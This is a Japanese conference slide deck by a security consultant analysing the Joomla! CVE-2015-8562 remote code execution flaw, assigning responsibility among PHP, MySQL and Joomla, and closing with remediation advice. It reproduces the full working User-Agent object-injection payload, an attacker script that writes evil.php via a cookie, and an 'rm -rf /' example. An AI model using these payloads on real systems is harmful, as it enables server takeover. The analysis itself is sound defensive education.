3.1K Views
August 27, 16
スライド概要
Joomla! の脆弱性 CVE-2015-8562 について解説します
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに HASHコンサルティング株式会社 徳丸 浩
徳丸浩の自己紹介 • 経歴 – 1985年 京セラ株式会社入社 – 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍 – 2008年 KCCS退職、HASHコンサルティング株式会社設立 • 経験したこと – 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当 – その後、企業向けパッケージソフトの企画・開発・事業化を担当 – 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当 Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始 – 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ • 現在 – HASHコンサルティング株式会社 代表 http://www.hash-c.co.jp/ – 独立行政法人情報処理推進機構 非常勤研究員 http://www.ipa.go.jp/security/ – 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月) 「徳丸浩のWebセキュリティ教室 」(2015年10月) – 技術士(情報工学部門) 2
Joomla! のコード実行脆弱性(CVE-2015-8562) 3
「Joomla!」脆弱性を突かれスパム送信の踏み台に - 藤沢市関連サイト 「えのしま・ふじさわポータルサイト(えのぽ)」が不正アクセスを受け、スパムメール送信の踏み 台に悪用されていたことがわかった。 同サイトは、藤沢市が開設し、その後NPO法人である湘南ふじさわシニアネットが藤沢市と協働運営 の協定のもと運営する地域のポータルサイト。藤沢市によれば、同サイトで利用するコンテンツマ ネージメントシステム(CMS)の「Joomla!」とPHPの既知の脆弱性が突かれ、不正アクセスを受け たという。 2015年12月24日にサーバの負荷が急増したことからサーバを停止。1月12日より同市が調査を行って いたが、今回の不正アクセスにより、同サーバより約60万件のスパムメールが送信されていたことが 判明した。 同サイトでは、「健康づくり応援団」「おいしいふじさわ産」「いきいきシニアライフ」「自治会・ 町内会ページ」などのコンテンツも運営しているが、いずれも個人情報を扱っておらず、情報漏洩は ないと説明している。 同サイトは現在も停止しており、セキュリティ対策など再発防止策を講じたうえで再開する予定。 http://www.security-next.com/066075 より引用 4
Joomlaに深刻な脆弱性、パッチ公開2日前から攻撃横行 セキュリティ企業によると、Joomlaの脆弱性修正パッチが公開される2日前から、この脆弱性を突く ゼロデイ攻撃の発生が確認されていたという。 オープンソースのコンテンツ管理システム(CMS)「Joomla」の更新版が12月14 日(米国時間)に公開され、深刻な脆弱性が修正された。セキュリティ企業のSucuri は、パッチが公開される2日前からこの脆弱性を突くゼロデイ攻撃の発生が確認され ていたとして、Joomlaを使っているWebサイトでは直ちにパッチ適用やログ確認な どの対応に乗り出すよう促している。 Joomlaの脆弱性はバージョン1.5.0~3.4.5に存在していて、悪用されればリモート でコードを実行される恐れがある。更新版のバージョン3.4.6でこの問題が修正され た。 Sucuriのブログによれば、この脆弱性は簡単に悪用することができるといい、12月 12日の時点で既に、この問題を悪用した攻撃コードが出回っていたという。 同月13日から14日にかけて攻撃はさらに拡大。Sucuriが運営するWebサイトやハ ニーポットがことごとく攻撃されたといい、「他のあらゆるJoomlaサイトも恐らく 標的になっている」と同社は推測する。 http://www.itmedia.co.jp/enterprise/articles/1512/15/news048.html より引用 5
ゼロデイ攻撃ですと? 6
早く調べなくては(使命感) …世界の平和に貢献しなくては 7
早く調べなくては(じゃじゃ馬根性) …ブログ書きたい 8
脆弱性情報はどこに? 9
解説記事から https://blog.sucuri.net/2015/12/joomla-remote-code-execution-the-details.html より引用 10
コードの差分から
diff -r -u joomla-3.4.5/libraries/joomla/session/session.php joomla-3.4.6/libraries/joomla/session/session.php
--- joomla-3.4.5/libraries/joomla/session/session.php
2015-10-21 17:48:16.000000000 +0900
+++ joomla-3.4.6/libraries/joomla/session/session.php
2015-12-14 14:42:12.000000000 +0900
// Check for clients browser
if (in_array('fix_browser', $this->_security) && isset($_SERVER['HTTP_USER_AGENT']))
{
$browser = $this->get('session.client.browser');
if ($browser === null)
{
$this->set('session.client.browser', $_SERVER['HTTP_USER_AGENT']);
}
elseif ($_SERVER['HTTP_USER_AGENT'] !== $browser)
{
// @todo remove code: $this->_state = 'error';
// @todo remove code: return false;
}
+
// Record proxy forwarded for in the session in case we need it later
+
if (isset($_SERVER['HTTP_X_FORWARDED_FOR']) && filter_var($_SERVER['HTTP_X_FORWARDED_FOR'],
FILTER_VALIDATE_IP) !== false)
+
{
+
$this->set('session.client.forwarded', $_SERVER['HTTP_X_FORWARDED_FOR']);
}
return true;
}
11
PoCから
• User-Agentに下記を設定してJoomla!サイトに2回アクセスす
るだけ。かんたん!
}__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":
0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"s
anitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:239:"eval(chr(115).
chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(116).chr(11
1).chr(117).chr(99).chr(104).chr(32).chr(47).chr(116).chr(109).chr(112).chr(4
7).chr(102).chr(120).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:
"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:
"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}𠮷
野家
12
𠮷野家? ※ 出回っているPoCで使われているのは別の文字です 13
攻撃の流れ(Sucuriの解説より) • Joomla! がUser-Agentをセッション変数に保存するので、 セッション形式のデータ(文字列)をUser-Agent経由でセッ トする • その際、「𠮷野家」がトリガーとなって、セッションデータ の切り詰めが起きる • 切り詰めが起きると、文字列がオブジェクトに化ける • 生成されたオブジェクトにより任意のコード実行が可能にな る 14
PoCには謎が多い 15
Joomla!に対するPoCの謎 • なぜセッション変数に入れた文字列が「切り詰め」されるの か? • 切り詰めが起きると、なぜ文字列がオブジェクトに「化け る」のか • オブジェクトはデータであり、メソッドが再定義できるわけ ではないのに、なぜ「任意スクリプト実行」ができるのか? • PoCに出てくる \0\0\0 は何? • PoCのココは何をしている? …… ;JFactory::getConfig(); …… 16
なぜセッション変数に入れた文字列が「切り 詰め」されるのか? 17
MySQLの “仕様” だった 18
MySQLの仕様確認 $ mysql test -u root -p mysql> CREATE TABLE test (test varchar(256)) DEFAULT CHARSET=utf8; mysql> INSERT INTO test VALUES ('今日のお昼は吉野家にするよ'); mysql> INSERT INTO test VALUES ('今日のお昼は𠮷野家にするよ'); mysql> SELECT * FROM test; +-----------------------------------------+ | test | +-----------------------------------------+ | 今日のお昼は吉野家にするよ | 𠮷野家から先がなくなる | 今日のお昼は | +-----------------------------------------+ 2 rows in set (0.00 sec) UTF-8の4バイト文字を登録しようとすると、そ の文字を含め、それ以降が切り詰められる!! 19
切り詰めが起きると、なぜ文字列がオブジェクト に「化ける」のか 20
PHPの脆弱性CVE-2015-6835 詳しくは http://blog.tokumaru.org/2015/12/joomla-zero-day-attack-caused-by-php.html 参照 21
CVE-2015-6835 http://jvndb.jvn.jp/ja/contents/2015/JVNDB-2015-007161.html 22
PoC
<?php
class Obj1 {
public $pub = 1;
}
session_start();
// User-Agentをセッション変数にセット
$_SESSION[‘example’] = ‘user_agent|O:4:“Obj1”:1:{s:3:“pub”;i:1;}𠮷野家';
$sess_data = session_encode(); // セッションデータを取り出し
var_dump($sess_data);
// 表示
$sess_data = str_replace(‘𠮷野家’, ‘’, $sess_data); // 「𠮷野家」を切り詰め
var_dump($sess_data);
// 表示
$_SESSION = array();
session_decode($sess_data);
var_dump($_SESSION);
// 一旦セッションを空に
// 切り詰めたセッションデータを戻す
// セッション変数を表示
23
PoC
# 切り詰め前
string(66)
"example|s:50:"user_agent|O:4:"Obj1":1:{s:3:"pub";i:1;}𠮷野家";"
# 切り詰め後
string(56) "example|s:50:"user_agent|O:4:"Obj1":1:{s:3:"pub";i:1;}";"
# セッション変数のダンプ
array(2) {
["example"]=>
NULL
["50:"user_agent"]=>
文字列の代わりにオブジェクトが出現
object(Obj1)#1 (1) {
["pub"]=>
int(1)
}
}
# Ubuntu12.04 パッチのまったく当たっていないPHP-5.3.10 にて実行
24
CVE-2015-6835の対策 • PHPの標準セッションストレージだと影響はない • MySQLをセッションストレージにする場合は、セッションデータをさらにbase64 エンコード等する • PHPバージョンを上げる(サポート中の最新に) – – – – 5.4.45 以降の 5.4.x (サポート終了) 5.5.29 以降の 5.5.x (サポート終了) 5.6.13 以降の 5.6.x ○ 7.0.0 以降の 7.0.x ○ • Linuxディストリビューションの対応 – – – – CentOS 5,6,7ともパッチ提供なし Ubuntu 12.04、14.04ともパッチ提供済み、1604は元々問題なし Debian/GNU Linux Debian6はパッチ未提供、7以降は提供済み Fedora Fedora21以降でパッチ提供済み(20はサポート終了でパッチ提供なし) 25
オブジェクトはデータであり、メソッドが再定義できる わけではないのに、なぜ「任意スクリプト実行」ができ るのか? 26
オブジェクトインジェクション攻撃入門 詳しくは http://blog.tokumaru.org/2015/07/phpunserialize.html 参照 27
デシリアライズによるコード実行脆弱性は意外に多い • Apache Commonsのcollectionsの問題にまつわる一連の脆弱性 – – – – Weblogic: CVE-2015-4852 WebSphere: CVE-2015-7450 Jenkins: CVE-2015-8103 Groovy: CVE-2015-3253 • Ruby On Rails XML Processor YAML Deserialization Code Execution Vulnerability(CVE-2013-0156) • FuelPHP において任意のコードが実行される脆弱性(CVE-2014-1999) • CakePHP の _validatePost 関数における内部 Cake キャッシュを変更さ れる脆弱性(CVE-2010-4335) • Joomla!の任意コードが実行される問題(CVE-2015-8562)もこの系統 Copyright © 2016 HASH Consulting Corp. 28
シリアライズ・デシリアライズとは? • シリアライズ: オブジェクトや配列など任意の型のデータを文 字列形式に変換すること • デシリアライズ: シリアライズ文字列を元のデータに戻すこと • PHPでは、それぞれ、serialize() unserialize()関数により可能 29
脆弱なサンプル
<?php
require_once 'Logger.php'; // ログ出力クラス
if (empty($_COOKIE['status']))
die('クッキーが空です');
$status = unserialize($_COOKIE['status']); // デシリアライズ
// 以下バリデーション
if (! is_array($status))
die('statusは配列が必要です');
// 以下表示
echo 'height : ' . htmlspecialchars($status['height']) . '<br>';
echo 'weight : ' . htmlspecialchars($status['weight']) . '<br>';
echo 'sight : ' . htmlspecialchars($status['sight']) . '<br>';
Copyright © 2016 HASH Consulting Corp.
30
脆弱なサンプル(続き)
<?php // Logger.php
class Logger {
const LOGDIR = '/tmp/';
private $filename = '';
private $log = '';
// ログ出力ディレクトリ
// ログファイル名
// ログバッファ
public function __construct($filename) {
// ファイル名を指定
if (! preg_match('/\A[a-z0-9\.]+\z/i', $filename)) {
throw new Exception(‘Logger: ファイル名は英数字とドットで…');
}
$this->filename = $filename; // ファイル名
$this->log = '';
// ログバッファ
}
public function add($log) {
$this->log .= $log;
// ログ出力
// バッファに追加するだけ
}
}
Copyright © 2016 HASH Consulting Corp.
31
脆弱なサンプル(続き)
public function __destruct() { // デストラクタではバッファの中身をファイルに書き出し
$path = self::LOGDIR . $this->filename; // ファイル名の組み立て
$fp = fopen($path, 'a');
if ($fp === false) {
die('Logger: ファイルがオープンできません' . htmlspecialchars($path));
}
if (! flock($fp, LOCK_EX)) {
// 排他ロックする
die('Logger: ファイルのロックに失敗しました');
}
fwrite($fp, $this->log); // ログの書き出し
fflush($fp);
// フラッシュしてからロック解除
flock($fp, LOCK_UN);
fclose($fp);
}
}
Copyright © 2016 HASH Consulting Corp.
32
攻撃の準備
// 攻撃用スクリプト…攻撃者が使用
<?php
require 'Logger.php'; // ファイル名のバリデーションは無効に
$x = new Logger('../../../var/www/html/evil.php');
$x->add("<?php phpinfo(); ?>\n");
setcookie('status', serialize($x));
以下のクッキーを生成する
Set-Cookie: status=O:6:"Logger":2:{s:16:"[NUL]Logger[NUL]filename";
s:30:"../../../var/www/html/evil.php";s:11:"[NUL]Logger[NUL]log";s:2
0:"<?php phpinfo(); ?>
Copyright © 2016 HASH Consulting Corp.
33
攻撃
前記のクッキーをブラウザにセットしてウェブアクセスすると、Loggerクラスのイ
ンスタンスが作られる
object(Logger)#1 (2) {
["filename":protected]=> string(33)
"../../../../var/www/html/evil.php"
["log":protected]=> string(19) "<?php phpinfo(); ?>"
}
このオブジェクトが破棄されるタイミングで、デストラタクタにより、ログファイ
ル/tmp/../../../var/www/html/evil.php (すなわち、
/var/www/html/evil.php)に下記の内容がログとして出力される
<?php phpinfo(); ?>
Copyright © 2016 HASH Consulting Corp.
34
Joomla!の場合、任意スクリプト実行に悪用でき るクラスはあるか? 35
任意スクリプト実行に悪用できそうなパターンを探す
• 下記のパターンが Joomla! に含まれないか?
• ドキュメントルート下に .php等の拡張子で任意の文字列が書き込みで
きる(先程の例)
• eval($this->foo); がある
– fooプロパティにPHPスクリプトをセットする
• system($this->foo); がある
– fooプロパティにシェルコマンドをセットする
• call_user_func($this->foo, $this->bar); がある
– fooプロパティに関数名、barプロパティに関数の引数をセットする
例: $this->foo = ‘system’;
$this->bar = ‘rm –rf /’;
36
call_user_func($this->foo, $this->bar);ならある
class SimplePie
{ // 中略
function init()
{ // 中略
if ($this->feed_url !== null || $this->raw_data !== null)
これらの if が全部通
{
るようにプロパティを
if ($this->feed_url !== null)
設定する必要あり
{
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'), $this>cache_location, call_user_func($this->cache_name_function, $this->feed_url), 'spc');
// 後略
call_user_func(
$this->cache_name_function,
$this->feed_url)
37
PoCを見ると…
O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed
_url";s:239:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr
(40).chr(39).chr(116).chr(111).chr(117).chr(99).chr(104).chr(32).chr(47).chr
(116).chr(109).chr(112).chr(47).chr(102).chr(120).chr(39).chr(41).chr(59));JF
actory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cach
e";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}
object(SimplePie) {
'feed_url' => 'eval(chr(115).chr(121). 略 .chr(59));JFactory::getConfig();exit
‘,
'cache_name_function' => 'assert‘
}
assert を使って、evalを実行している
※evalは関数ではないので、call_user_funcでは直接呼び出せない
38
だがどうやって SimplePie::init()を呼び出す か? 39
JDatabaseDriverMysqli のデストラクタを使う
class JDatabaseDriverMysqli extends JDatabaseDriver
{
public function __destruct() // デストラクタ
{
$this->disconnect();
}
public function disconnect()
{
// Close the connection.
if ($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
$h が
0 => SimplePieオブジェクト
1 => ‘init’ となるように設定する
40
PoCを確認…確かにそうなっている
object(JDatabaseDriverMysqli) {
'disconnectHandlers' =>
array (
array (
0 =>
object(SimplePie) {
'sanitize' =>
JDatabaseDriverMysql::__set_state(array(
)),
'feed_url' => 'eval(chr(115). 略 .chr(59));JFactory::getConfig();exit',
'cache_name_function' => 'assert',
'cache' => true,
'cache_class' => JDatabaseDriverMysql(),
},
1 => 'init',
),
),
// 以下略
41
PoCに出てくる \0\0\0 は何? 42
\0\0\0 の謎 class JSessionStorageDatabase extends JSessionStorage { public function write($id, $data) { // Get the database connection object and verify its connected. $db = JFactory::getDbo(); $data = str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); // シリアライズされたデータ中に [nul]*[nul] が含まれる // (protectedなメンバ)ので、それを \0\0\0 に変換している // 文字列中に \0\0\0 が含まれると、それも [nul]*[nul]に変換されそう… 43
PoCのココは何をしている? ;JFactory::getConfig(); 44
JFactory::getConfig(); の秘密
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
if ($this->cache && $parsed_feed_url[‘scheme’] !== ‘’)
// この if文を通過する工夫
// scheme は以下の関数で取得
function parse_iri($iri)
{
preg_match('/^(([^:\/?#]+):)?(\/\/([^\/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?$/', $iri, $match);
for ($i = count($match); $i <= 9; $i++)
{
$match[$i] = '';
}
return array('scheme' => $match[2], 'authority' => $match[4], 'path' => $match[5], 'query' => $match[7], 'fragment' =>
$match[9]);
}
‘/^(([^:\/?#]+):)? ← : / ? # 以外の文字
feed_url(攻撃スクリプト)には、: / ? # 以外の文字が1文字以上の後、 : が続く必要
がある
45
JFactory::getConfig(); の秘密(続き) ‘/^(([^:\/?#]+):)? ← : / ? # 以外の文字 feed_url(攻撃スクリプト)には、: / ? # 以外の文字が1文字以上の後、 : が続く必要がある JFactory::getConfig(); は何もしていないが、コロン「:」を入れる必要が あった 以下のような攻撃文字列でも、おk touch `echo dG91Y2ggL3RtcC9vY2tlZ2hlbQ== | base64 -d`;: / が使えないので、パスをbase64エンコードして指定している 46
脆弱性は誰のせい? 47
Joomla! • 色々イケテナイ • Joomla!以外のソフトウェアをいくつか調べたが、テキスト型 の列にセッションデータを格納しているのはJoomla!だけだっ た • デストラクタが複雑だし、call_user_func等を呼びまくってい るのもイケテナイ… 48
MySQL • UTF-8の4バイト文字があると、エラーにしないで、そこから 先を切り詰める仕様はイケテナイ… • だが、「仕様」だし、MySQLの脆弱性とまでは言えない • MySQLの設定を「厳しく」することで、この種の問題を受け にくくすることが望ましい 49
PHP • 直接の原因を作っているのはPHP • 主要ディストリビューションの中で、RHEL/CentOSだけが パッチを提供していないのはイケテナイ tokuhirom2015年12月21日 11:07 Twitter などでも指摘されておりますが、文字列型のカラムにバイナリを入れるとい う joolma! 側の設計にそもそもの問題があり、LONGBLOB などにデータを格納すべ きだったと思います。 文字列型のカラムにバイナリを入れるという設計に問題があるのでこの脆弱性は、 やはり joolma! の側の脆弱性といって差し支えないように思います。 50
結論 • この脆弱性(CVE-2015-8562)はJoomla! とPHPの共犯 • MySQLは幇助 • Joomla! / PHP / MySQLのいずれかがしっかりしていれば、こ の問題は顕在化しなかった • 「防御的プログラミング」により、不慮の問題を避けましょ う 51
防御的プログラミング 「防御的プログラミング」とはプログラミングに対して防御的になるこ と、つまり「そうなるはずだ」と決め付けないことである。この発想は 「防御運転」にヒントを得たものだ。防御運転では、他のドライバーが 何をしようとするかまったくわからないと考える。そうすることで、他 のドライバーが危険な行動に出たときに、自分に被害が及ばないように する。たとえ他のドライバーの過失であっても、自分の身は自分で守る ことに責任を持つ。同様に、防御的プログラミングの根底にあるのは、 ルーチンに不正なデータが渡されたときに、それが他のルーチンのせい であったとしても、被害を受けないようにすることだ。もう少し一般的 に言うと、プログラムには必ず問題があり、プログラムは変更されるも のであり、賢いプログラマはそれを踏まえてコードを開発する、という 認識を持つことである。 CODE COMPLETE 第2版 第8章 から引用 52
対策 53
攻撃の前提条件 • PHPバージョン: – 5.4.44 以前の 5.4.x – 5.5.28 以前の 5.5.x – 5.6.12 以前の 5.6.x • Joomla! バージョン : 1.5.0 から 3.4.5 • その他: MySQLの設定にも依存 54
対策 • PHPバージョンを上げる(サポート中の最新に) – – – – – 5.4.45 以降の 5.4.x (サポート終了) 5.5.29 以降の 5.5.x (サポート終了) 5.6.13 以降の 5.6.x ○ 7.0.0 以降の 7.0.x ○ その他、Debian、Ubuntu、Fedoraなら最新のパッチで対応可 • Joomla! バージョン : 3.4.6以降(最新にすること) • その他(保険的対策): MySQLの設定: sql_modeにSTRICT_TRANS_TABLESまたは STRICT_ALL_TABLESを指定(エラーになる) 55
オブジェクトインジェクションの一般的対策 • 根本対策 – 任意オブジェクトが生成できるコードを書かない – 典型的には、外部からコントロールできる値をunserialize関数に処 理させない – 文字列がオブジェクトに化けるような脆弱性(!)にパッチを適用する • 保険的対策 – デストラクタでは複雑な処理を極力避け、後始末等もできれば明示 的に呼び出すようにする – eval、system、call_user_func等を極力使わない – 脆弱性対策は局所的な単位で行うようにする Copyright © 2016 HASH Consulting Corp. 56